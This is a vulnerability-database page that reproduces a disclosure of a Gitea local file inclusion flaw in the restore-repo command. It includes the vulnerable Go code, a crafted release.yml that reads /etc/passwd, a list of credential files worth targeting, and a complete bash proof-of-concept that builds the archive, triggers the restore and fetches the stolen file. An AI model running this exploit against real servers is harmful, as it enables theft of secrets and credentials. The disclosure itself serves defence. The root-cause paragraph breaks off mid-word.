🛡️ CVE-2026-58420 — gitea.dev

⚪ Unknown ✅ No Known Exploit CWE-73 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Gitea: Local File Inclusion via file:// URI in Migration Restore

# Local File Inclusion via file:// URI in Migration Restore

Target: go-gitea/gitea

Component: services/migrations/gitea_uploader.go, modules/uri/uri.go

Severity: High

Affected Versions: <= v1.22.x (all releases), master as of latest commit

Researchers:

  • Isa Can — Eresus Security (https://github.com/isa0-gh)
  • Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql)

Summary

Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.

Impact

An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:

  • app.ini — containing database passwords and secret keys
  • SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
  • TLS certificates and private keys
  • Cloud provider credential files (e.g. ~/.aws/credentials)
  • Any other file readable by the Gitea process user

The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.

Affected Code

modules/uri/uri.go

```

func Open(rawURL string) (io.ReadCloser, error) {

u, err := url.Parse(rawURL)

if err != nil {

return nil, err

}

switch u.Scheme {

case "http", "https":

resp, err := http.Get(rawURL)

...

case "file":

return os.Open(u.Path) // no scheme validation, no path restriction

}

}

```

services/migrations/gitea_uploader.go (~line 370)

```

func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {

for _, rel := range releases {

for _, asset := range rel.Assets {

rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated

...

// file content saved as release attachment

}

}

}

```

Attack Scenario

An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:

1. Create a malicious archive containing release.yml:

```

releases:

  • tag_name: v0.0.1

assets:

  • name: exfiltrated.txt

download_url: "file:///etc/passwd"

```

2. Run restore:

```

gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo

```

3. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.

4. Retrieve via API:

```

curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \

-H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'

```

PoC

> Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.

```

#!/usr/bin/env bash

# PoC: Gitea LFI via release.yml DownloadURL

# Requires: admin credentials, gitea binary on PATH (server host)

GITEA_URL="${1:-http://localhost:3000}"

ADMIN_TOKEN="${2:-REPLACE_ME}"

TARGET_FILE="${3:-/etc/passwd}"

OWNER="test-org"

REPO="lfi-test"

```

# 1. Create target org and repo via API

```

curl -sf -X POST "$GITEA_URL/api/v1/orgs" \

-H "Authorization: token $ADMIN_TOKEN" \

-H "Content-Type: application/json" \

-d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true

curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \

-H "Authorization: token $ADMIN_TOKEN" \

-H "Content-Type: application/json" \

-d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true

```

# 2. Build malicious archive

```

TMP=$(mktemp -d)

mkdir -p "$TMP/bundles/$OWNER/$REPO"

cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML

releases:

  • tag_name: v0.0.1

name: test

body: ""

draft: false

prerelease: false

assets:

  • name: output.txt

download_url: "file://$TARGET_FILE"

size: 0

download_count: 0

YAML

cd "$TMP" && zip -r poc.zip bundles/

````

# 3. Trigger restore

```

gitea restore-repo \

--zip-path "$TMP/poc.zip" \

--owner "$OWNER" \

--repo "$REPO" \

--units release 2>&1

```

# 4. Retrieve exfiltrated content

```

echo "[*] Fetching exfiltrated content..."

RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \

-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')

curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \

-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \

xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"

rm -rf "$TMP"

```

Root Cause

uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. Howev

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity none, availability none.

Weakness class

CVE-2026-58420 is classified as CWE-73: External Control of File Name or Path. A caller can influence which file the application opens or writes, extending an operation to files that were never meant to be reachable.

Affected software

CVE-2026-58420 is recorded against 1 package.

  • gitea.dev

Timeline and source

Published on 21 July 2026 and last revised on 22 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CWE CWE-73
Public Exploit ✅ No
Source OSV
Published 2026-07-21
Updated 2026-08-12
Modified 2026-07-22
Fix URL N/A

Affected Packages

Software From version Fixed in
gitea.dev

Similar Threats

Free Vulnerability Check

Is your site affected by CVE-2026-58420?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-58420 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.